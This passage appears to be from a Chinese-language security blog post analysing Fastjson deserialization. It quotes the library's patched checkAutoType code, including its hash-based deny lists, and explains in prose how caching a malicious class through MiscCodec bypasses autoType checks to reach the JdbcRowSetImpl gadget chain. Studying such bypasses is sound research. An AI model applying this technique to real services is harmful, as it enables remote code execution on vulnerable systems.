if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
根据修复的代码可以做一个大致的流程图:
从流程图可以看到,修复的代码中是存在从类缓存中Mappings中获取类的操作,即TypeUtils.getClassFromMapping的操作,如果我们可以在类似的这些地方提前让它返回恶意的类,即可完成绕过,我们进去看一下。
我们找一下这个mappings在那些函数和类中会被使用,发现其实都在TypeUtils中,但是这里在LoadClass方法中被使用了。
我们大致看一下这个loadClass的关键代码,如果mappings中获取不到className,并且classLoader存在,就会调用loadClass加载类,并且参数cache会true,就会将clazz放入到缓存中。
继续往上走,看看谁调用了这个loadClass,并且可以控制这个函数里面的参数,会查找了MiscCodec类中,这个类继承于ObjectSerializer与ObjectDeserializer,在类中的deserialze()方法调用了loadClass,当clazz=Class.class的时候。
什么时候会调用MiscCodec.deserialze(),其实在Fastjson进行序列化初始化的时候,就已经把这个类给放进去了,它也正是Class.class这个类。
所以在第一轮进入checkAutoType出来之后,就会来到getDeserializer()方法中,如果传入的clazz为Class.class就会获取到MiscCode反序列化器,往下走就会调用MiscCode类中的deserialize方法
传入的json中必须存在val的键,否则会抛出参数错误的异常,随后经过了parse.parse(),会将objVal解析成val的值,即我们填入的恶意类,随后就会调用loadClass()方法,传入strVal和默认null的类加载器。
调用loadClass()方法,会先从mappings中取className,取不到为空,会进行判断是否以[或L开头,是分别进入各自判断,这里都不是,并且classLoader为空,缓存为true,就会将val的类放入到mappings缓存中,并返回类。
返回之后就会到MiscCode的反序列化方法中,返回val值的那个类给obj。
第二次加载的会再进入autotype中,这时候缓存中已经有了我们构造的类,就能从缓存中获取直接返回JdbcRowSetImpl类,然后就进入了JdbcRowSetImpl的那条链子中。
持续学习更新。